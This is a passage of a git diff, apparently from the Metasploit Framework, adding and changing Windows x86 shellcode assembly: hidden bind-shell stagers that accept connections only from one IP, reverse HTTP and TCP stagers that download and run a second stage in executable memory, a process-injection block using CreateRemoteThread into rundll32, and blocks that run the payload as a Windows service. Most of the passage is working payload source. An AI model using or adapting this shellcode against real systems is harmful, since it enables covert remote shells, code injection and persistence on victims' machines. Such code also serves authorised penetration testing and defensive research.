will be zero, push it 8 times for later ([1]-[8]) + loop push_8_loop + + ; push zero for the flags param [8] + ; push null for reserved parameter [7] + ; we do not specify a WSAPROTOCOL_INFO structure [6] + ; we do not specify a protocol [5] inc eax ; push eax ; push SOCK_STREAM inc eax ; @@ -35,8 +41,7 @@ bind_tcp: call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don't care about the value of eax after this - xor ebx, ebx ; Clear EBX - push ebx ; bind to 0.0.0.0 + ; bind to 0.0.0.0, pushed earlier [4] push 0x5C110002 ; family AF_INET and port 4444 mov esi, esp ; save a pointer to sockaddr_in struct push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused) @@ -45,13 +50,13 @@ bind_tcp: push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) call ebp ; bind( s, &sockaddr_in, 16 ); - push ebx ; backlog + ; backlog, pushed earlier [3] push edi ; socket push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) call ebp ; listen( s, 0 ); - push ebx ; we set length for the sockaddr struct to zero - push ebx ; we dont set the optional sockaddr param + ; we set length for the sockaddr struct to zero, pushed earlier [2] + ; we dont set the optional sockaddr param, pushed earlier [1] push edi ; listening socket push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) call ebp ; accept( s, 0, 0 ); diff --git a/external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm b/external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm new file mode 100644 index 0000000000..50252ad53e --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm @@ -0,0 +1,82 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 307 bytes +;-----------------------------------------------------------------------------; + +[BITS 32] +; Input: EBP must be the address of 'api_call'. + +xor edi, edi +push 0x00000004 ;PAGE_READWRITE +push 0x00001000 ;MEM_COMMIT +push 0x00000054 ;STARTUPINFO+PROCESS_INFORMATION +push edi +push 0xE553A458 ;call VirtualAlloc() +call ebp + +mov dword [eax], 0x44 +lea esi, [eax+0x44] +push edi +push 0x6578652e +push 0x32336c6c +push 0x646e7572 +mov ecx, esp ;"rundll32.exe" +push esi ;lpProcessInformation +push eax ;lpStartupInfo +push edi ;lpCurrentDirectory +push edi ;lpEnvironment +push 0x00000044 ;dwCreationFlags +push edi ;bInheritHandles +push edi ;lpThreadAttributes +push edi ;lpProcessAttributes +push ecx ;lpCommandLine +push edi ;lpApplicationName +push 0x863FCC79 +call ebp ;call CreatProcessA() + +mov ecx, [esi] +push 0x00000040 ;PAGE_EXECUTE_READWRITE +push 0x00001000 ;MEM_COMMIT +push 0x00001000 ;Next Shellcode Size +push edi +push ecx ;hProcess +push 0x3F9287AE ;call VirtualAllocEx() +call ebp + +call me2 +me2: +pop edx + +mov edi, eax +mov ecx, [esi] +add dword edx, 0x112247 ;pointer on the next shellcode +push esp +push 0x00001000 ;Next Shellcode Size +push edx ; +push eax ;lBaseAddress +push ecx ;hProcess +push 0xE7BDD8C5 +call ebp ;call WriteProcessMemory() + +xor eax, eax +mov ecx, [esi] +push eax ;lpThreadId +push eax ;dwCreationFlags +push eax ;lpParameter +push edi ;lpStartAddress +push eax ;dwStackSize +push eax ;lpThreadAttributes +push ecx ;hProcess +push 0x799AACC6 +call ebp ;call CreateRemoteThread() + +mov ecx, [esi] +push ecx +push 0x528796C6 +call ebp ;call CloseHandle() + +mov ecx, [esi+0x4] +push ecx +push 0x528796C6 +call ebp ;call CloseHandle() \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm b/external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm new file mode 100644 index 0000000000..e4974593d9 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm @@ -0,0 +1,99 @@ +;-----------------------------------------------------------------------------; +; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com) +; Modified version to add hidden ipknock bind shell support: Borja Merino (bmerinofe@gmail.com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (December 2014) +;-----------------------------------------------------------------------------; +[BITS 32] + +; Input: EBP must be the address of 'api_call'. +; Output: EDI will be the newly connected clients socket +; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0) + +bind_tcp: + push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. + push 0x5F327377 ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "ws2_32" ) + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + call ebp ; WSAStartup( 0x0190, &WSAData ); + + push eax ; if we succeed, eax wil be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this + + xor ebx, ebx ; Clear EBX + push ebx ; bind to 0.0.0.0 + push 0x5C110002 ; family AF_INET and port 4444 + mov esi, esp ; save a pointer to sockaddr_in struct + push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused) + push esi ; pointer to the sockaddr_in struct + push edi ; socket + push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) + call ebp ; bind( s, &sockaddr_in, 16 ); + + ; Hidden ipknock Support ---------- + + push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter + push esp ; optval: pointer to the buffer in which the value for the requested option is specified + push 0x3002 ; level at which the option is defined: SOL_SOCKET + push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT + push edi ; socket descriptor + push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" ) + call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 ); + + push ebx ; backlog + push edi ; socket + push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + call ebp ; listen( s, 0 ); +condition: + push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function) + call wsaaccept ; push the start of the condition function on the stack + mov eax, DWORD [esp+4] ; + mov eax, DWORD [eax+4] ; + mov eax, DWORD [eax+4] ; get the client IP returned in the stack + sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed + jz equal ; if equal, eax = 0 + xor eax, eax + inc eax ; if not equal, eax = 1 +equal: + mov DWORD [ebp+84], eax ; save the value of eax out of the scope of the callback. + ; This value will be read it after calling WSAaccept since + ; WSAaccept would always return FFFFFFFF when the IP is spoofed + retn 0x20 ; some stack alignment needed to return to mswsock + +wsaaccept: + push ebx ; length of the sockaddr = nul + push ebx ; struct sockaddr = nul + push edi ; socket descriptor + push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" ) + call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0) + cmp DWORD [esp+4], 0 + jnz condition ; Check if the IP knocked is allowed + inc eax + jnz connection ; Check if the 3-Way Handshake is successfully established + push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function) + push ebx ; fnCondition = 0 + jmp wsaaccept + jz condition ; if error (eax = -1) jump to condition function to wait for another connection + +connection: + dec eax ; restore eax + push edi ; push the listening socket to close + xchg edi, eax ; replace the listening socket with the new connected socket for further comms + push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + call ebp ; closesocket( s ); diff --git a/external/source/shellcode/windows/x86/src/block/block_hidden_bind_tcp.asm b/external/source/shellcode/windows/x86/src/block/block_hidden_bind_tcp.asm new file mode 100644 index 0000000000..3b708b9c48 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_hidden_bind_tcp.asm @@ -0,0 +1,91 @@ +;-----------------------------------------------------------------------------; +; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com) +; Modified version to add Hidden ACL support: Borja Merino (bmerinofe@gmail.com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (February 2014) +;-----------------------------------------------------------------------------; +[BITS 32] + +; Input: EBP must be the address of 'api_call'. +; Output: EDI will be the newly connected clients socket +; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0) + +bind_tcp: + push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. + push 0x5F327377 ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "ws2_32" ) + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + call ebp ; WSAStartup( 0x0190, &WSAData ); + + push eax ; if we succeed, eax wil be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this + + xor ebx, ebx ; Clear EBX + push ebx ; bind to 0.0.0.0 + push 0x5C110002 ; family AF_INET and port 4444 + mov esi, esp ; save a pointer to sockaddr_in struct + push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused) + push esi ; pointer to the sockaddr_in struct + push edi ; socket + push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) + call ebp ; bind( s, &sockaddr_in, 16 ); + + ; Hidden ACL Support ---------- + + push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter + push esp ; optval: pointer to the buffer in which the value for the requested option is specified + push 0x3002 ; level at which the option is defined: SOL_SOCKET + push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT + push edi ; socket descriptor + push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" ) + call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 ); + + push ebx ; backlog + push edi ; socket + push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + call ebp ; listen( s, 0 ); + +condition: + push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function) + call wsaaccept ; push the start of the condition function on the stack + mov eax, DWORD [esp+4] ; + mov eax, DWORD [eax+4] ; + mov eax, DWORD [eax+4] ; get the client IP returned in the stack + sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed + jz return ; if equal returns CF_ACCEPT + xor eax, eax ; If not equal, the condition function returns CF_REJECT + inc eax +return: + retn 0x20 ; some stack alignment needed to return to mswsock + +wsaaccept: + push ebx ; length of the sockaddr = nul + push ebx ; struct sockaddr = nul + push edi ; socket descriptor + push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" ) + call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0) + inc eax + jz condition ; if error (eax = -1) jump to condition function to wait for another connection + dec eax + + push edi ; push the listening socket to close + xchg edi, eax ; replace the listening socket with the new connected socket for further comms + push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + call ebp ; closesocket( s ); + diff --git a/external/source/shellcode/windows/x86/src/block/block_recv.asm b/external/source/shellcode/windows/x86/src/block/block_recv.asm index b274cd1785..cfee92341b 100644 --- a/external/source/shellcode/windows/x86/src/block/block_recv.asm +++ b/external/source/shellcode/windows/x86/src/block/block_recv.asm @@ -38,7 +38,6 @@ read_more: ; push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) call ebp ; recv( s, buffer, length, 0 ); add ebx, eax ; buffer += bytes_received - sub esi, eax ; length -= bytes_received - test esi, esi ; test length + sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read ret ; return into the second stage diff --git a/external/source/shellcode/windows/x86/src/block/block_recv_rc4.asm b/external/source/shellcode/windows/x86/src/block/block_recv_rc4.asm index ef3146f03e..d2f6ddcd68 100644 --- a/external/source/shellcode/windows/x86/src/block/block_recv_rc4.asm +++ b/external/source/shellcode/windows/x86/src/block/block_recv_rc4.asm @@ -48,8 +48,7 @@ read_more: ; push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) call ebp ; recv( s, buffer, length, 0 ); add ebx, eax ; buffer += bytes_received - sub esi, eax ; length -= bytes_received - test esi, esi ; test length + sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read pop ebx ; address of S-box pop ecx ; stage length diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 20c4f643e6..af8ff92d69 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -35,48 +35,52 @@ load_wininet: push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) - xor ebx,ebx +set_retry: + push byte 8 ; retry 8 times should be enough + pop edi + xor ebx, ebx ; push 8 zeros ([1]-[8]) + mov ecx, edi +push_zeros: + push ebx + loop push_zeros internetopen: - push ebx ; DWORD dwFlags - push ebx ; LPCTSTR lpszProxyBypass (NULL) - push ebx ; LPCTSTR lpszProxyName (NULL) - push ebx ; DWORD dwAccessType (PRECONFIG = 0) - push ebx ; LPCTSTR lpszAgent (NULL) + ; DWORD dwFlags [1] + ; LPCTSTR lpszProxyBypass (NULL) [2] + ; LPCTSTR lpszProxyName (NULL) [3] + ; DWORD dwAccessType (PRECONFIG = 0) [4] + ; LPCTSTR lpszAgent (NULL) [5] push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp internetconnect: - push ebx ; DWORD_PTR dwContext (NULL) - push ebx ; dwFlags + ; DWORD_PTR dwContext (NULL) [6] + ; dwFlags [7] push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push ebx ; password (NULL) push ebx ; username (NULL) push dword 4444 ; PORT - jmp short dbl_get_server_host ; push pointer to HOSTNAME + call got_server_uri ; double call to get pointer for both server_uri and +server_uri: ; server_host; server_uri is saved in EDI for later + db "/12345", 0x00 got_server_host: push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp httpopenrequest: - push ebx ; dwContext (NULL) + ; dwContext (NULL) [8] push HTTP_OPEN_FLAGS ; dwFlags push ebx ; accept types push ebx ; referrer push ebx ; version - jmp get_server_uri ; push pointer to url -got_server_uri: + push edi ; server URI push ebx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp xchg esi, eax ; save hHttpRequest in esi -set_retry: - push byte 0x10 - pop edi - send_request: %ifdef ENABLE_SSL @@ -120,15 +124,6 @@ failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call got_server_uri - -server_uri: - db "/12345", 0x00 - allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT @@ -164,7 +159,8 @@ download_more: execute_stage: ret ; dive into the stored stage address -get_server_host: +got_server_uri: + pop edi call got_server_host server_host: diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_tcp_allports.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_tcp_allports.asm index 72995904c8..e6da27c7e6 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_tcp_allports.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_tcp_allports.asm @@ -51,10 +51,9 @@ try_connect: jz short connected port_bump: - xor eax, eax mov word ax, [esi+2] xchg ah,al - inc ax + inc eax xchg ah,al mov word [esi+2], ax jmp short try_connect diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_tcp_dns.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_tcp_dns.asm index 0477ea0f52..3c49b49192 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_tcp_dns.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_tcp_dns.asm @@ -36,7 +36,10 @@ reverse_tcp: xchg edi, eax ; save the socket for later, don't care about the value of eax after this get_address: - jmp get_hostname + call got_hostname + +hostname: + db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00 got_hostname: push 0x803428A9 ; hash( "ws2_32.dll", "gethostbyname" ) @@ -66,12 +69,6 @@ handle_failure: failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp - -get_hostname: - call got_hostname - -hostname: - db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00 connected: diff --git a/external/source/shellcode/windows/x86/src/block/block_service.asm b/external/source/shellcode/windows/x86/src/block/block_service.asm new file mode 100644 index 0000000000..2ba827b154 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_service.asm @@ -0,0 +1,64 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 448 bytes +;-----------------------------------------------------------------------------; + +[BITS 32] +; Input: EBP must be the address of 'api_call'. + +push byte 0x0 +push 0x32336970 +push 0x61766461 +push esp +push 0x726774c +call ebp ;load advapi32.dll +push 0x00454349 +push 0x56524553 +mov ecx, esp ;ServiceTableEntry.SVCNAME +lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain +push 0x00000000 +push eax +push ecx +mov eax,esp +push 0x00000000 +push eax +push 0xCB72F7FA +call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry) +push 0x00000000 +push 0x56A2B5F0 +call ebp ;call ExitProcess(0) +pop eax ;SvcCtrlHandler +pop eax +pop eax +pop eax +xor eax,eax +ret +cld ;SvcMain +call me +me: +pop ebp +sub ebp, 0xd6 ;ebp => hashFunction +push 0x00464349 +push 0x56524553 +mov ecx, esp ;SVCNAME +lea eax, [ebp+0xc9];SvcCtrlHandler +push 0x00000000 +push eax +push ecx +push 0x5244AA0B +call ebp ;RegisterServiceCtrlHandlerExA +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000004 +push 0x00000010 +mov ecx, esp +push 0x00000000 +push ecx +push eax +push 0x7D3755C6 +call ebp ;SetServiceStatus RUNNING \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/block/block_service_change_description.asm b/external/source/shellcode/windows/x86/src/block/block_service_change_description.asm new file mode 100644 index 0000000000..cdd1ba61bc --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_service_change_description.asm @@ -0,0 +1,41 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 448 bytes +;-----------------------------------------------------------------------------; + +[BITS 32] +; Input: EBP must be the address of 'api_call'. + +push 0x000F003F +push 0x00000000 +push 0x00000000 +push 0x7636F067 +call ebp ;OpenSCManagerA +mov edi, eax +push 0x00464349 +push 0x56524553 +mov ecx, esp ;SVCNAME +push 0x000F01FF +push ecx +push eax +push 0x404B2856 +call ebp ;OpenServiceA +mov esi, eax +push 0x00464349 +push 0x56524553 +mov ecx, esp +push 0x00000000 +push ecx +mov ecx, esp ;SVCDESCRIPTION +push ecx +push 0x00000001 ;SERVICE_CONFIG_DESCRIPTION +push eax +push 0xED35B087 +call ebp ;ChangeServiceConfig2A +push esi +push 0xAD77EADE ;CloseServiceHandle +call ebp +push edi +push 0xAD77EADE ;CloseServiceHandle +call ebp \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/block/block_service_stopped.asm b/external/source/shellcode/windows/x86/src/block/block_service_stopped.asm new file mode 100644 index 0000000000..10c8374c32 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_service_stopped.asm @@ -0,0 +1,45 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 448 bytes +;-----------------------------------------------------------------------------; + +[BITS 32] +; Input: EBP must be the address of 'api_call'. + +call me3 +me3: +pop edi +jmp 0x7 +pop eax +pop eax +pop eax +pop eax +xor eax,eax +ret +push 0x00464349 +push 0x56524553 +mov ecx, esp ;SVCNAME +lea eax, [edi+0x3];SvcCtrlHandler +push 0x00000000 +push eax +push ecx +push 0x5244AA0B +call ebp ;RegisterServiceCtrlHandlerExA +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000001 +push 0x00000010 +mov ecx, esp +push 0x00000000 +push ecx +push eax +push 0x7D3755C6 +call ebp ;SetServiceStatus RUNNING +push 0x0 +push 0x56a2b5f0 +call ebp ;ExitProcess \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm b/external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm new file mode 100644 index 0000000000..2c44b3dbad --- /dev/null +++ b/external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm @@ -0,0 +1,16 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 307 bytes +; Build: >build.py single_create_remote_process +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_create_remote_process.asm" \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm b/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm new file mode 100644 index 0000000000..2de5d9a021 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm @@ -0,0 +1,23 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 448 bytes +; Build: >build.py single_service_stuff +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_service.asm" +%include "./src/block/block_service_change_description.asm" +%include "./src/block/block_create_remote_process.asm" +%include "./src/block/block_service_stopped.asm" + +push edi +push 0x56A2B5F0 +call ebp ;call ExitProcess(0) diff --git a/external/source/shellcode/windows/x86/src/single/single_shell_hidden_bind_tcp.asm b/external/source/shellcode/windows/x86/src/single/single_shell_hidden_bind_tcp.asm new file mode 100644 index 0000000000..cb2a14a38a --- /dev/null +++ b/external/source/shellcode/windows/x86/src/single/single_shell_hidden_bind_tcp.asm @@ -0,0 +1,20 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (28 July 2009) +; Size: 341 bytes +; Build: >build.py single_shell_bind_tcp +;-----------------------------------------------------------------------------; +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; Pop off the address of 'api_call' for calling later. +%include "./src/block/block_hidden_bind_tcp.asm" + ; By here we will have performed the bind_tcp connection and EDI will be out socket. +%include "./src/block/block_shell.asm" + ; Finish up with the EXITFUNK. +%include "./src/block/block_exitfunk.asm" diff --git a/external/source/shellcode/windows/x86/src/stager/stager_bind_ipknock_tcp.asm b/external/source/shellcode/windows/x86/src/stager/stager_bind_ipknock_tcp.asm new file mode 100644 index 0000000000..57b589256b --- /dev/null +++ b/external/source/shellcode/windows/x86/src/stager/stager_bind_ipknock_tcp.asm @@ -0,0 +1,20 @@ +;-----------------------------------------------------------------------------; +; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]] +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (Dec 2014) +; Size: 359 bytes +; Build: >build.py stager_hidden_bind_tcp +;-----------------------------------------------------------------------------; +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_hidden_bind_ipknock.asm" + ; By here we will have performed the bind_tcp connection and EDI will be our socket. +%include "./src/block/block_recv.asm" + ; By now we will have received in the second stage into a RWX buffer and be executing it diff --git a/external/source/shellcode/windows/x86/src/stager/stager_hidden_bind_tcp.asm b/external/source/shellcode/windows/x86/src/stager/stager_hidden_bind_tcp.asm new file mode 100644 index 0000000000..64ccaa73d1 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/stager/stager_hidden_bind_tcp.asm @@ -0,0 +1,20 @@ +;-----------------------------------------------------------------------------; +; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]] +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (27 May 2014) +; Size: 352 bytes +; Build: >build.py stager_hidden_bind_tcp +;-----------------------------------------------------------------------------; +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_hidden_bind_tcp.asm" + ; By here we will have performed the bind_tcp connection and EDI will be our socket. +%include "./src/block/block_recv.asm" + ; By now we will have received in the second stage into a RWX buffer and be executing it diff --git a/external/source/vncdll/vncdll/LICENSE.txt b/external/source/vncdll/vncdll/LICENSE.txt index c952e523e3..ba5797cfe9 100644 --- a/external/source/vncdll/vncdll/LICENSE.txt +++ b/external/source/vncdll/vncdll/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (C) 2006-2010, Rapid7 LLC +Copyright (C) 2006-2010, Rapid7, Inc All rights reserved. Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of Rapid7 LLC nor the names of its contributors + * Neither the name of Rapid7, Inc nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -24,4 +24,4 @@ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/source/vncdll/vncdll/context.h b/external/source/vncdll/vncdll/context.h index 1f062cfd1f..df5143138e 100644 --- a/external/source/vncdll/vncdll/context.h +++ b/external/source/vncdll/vncdll/context.h @@ -1,4 +1,4 @@ -// Copyright (C) 2006-2010, Rapid7 LLC +// Copyright (C) 2006-2010, Rapid7, Inc // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // -// * Neither the name of Rapid7 LLC nor the names of its contributors +// * Neither the name of Rapid7, Inc nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // @@ -105,4 +105,4 @@ DWORD WINAPI context_message_thread( LPVOID lpParameter ); //===============================================================================================// #endif -//===============================================================================================// \ No newline at end of file +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/inject.h b/external/source/vncdll/vncdll/inject.h index 46c7a62712..d7e7fffda1 100644 --- a/external/source/vncdll/vncdll/inject.h +++ b/external/source/vncdll/vncdll/inject.h @@ -1,4 +1,4 @@ -// Copyright (C) 2006-2010, Rapid7 LLC +// Copyright (C) 2006-2010, Rapid7, Inc // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // -// * Neither the name of Rapid7 LLC nor the names of its contributors +// * Neither the name of Rapid7, Inc nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // @@ -99,4 +99,4 @@ DWORD 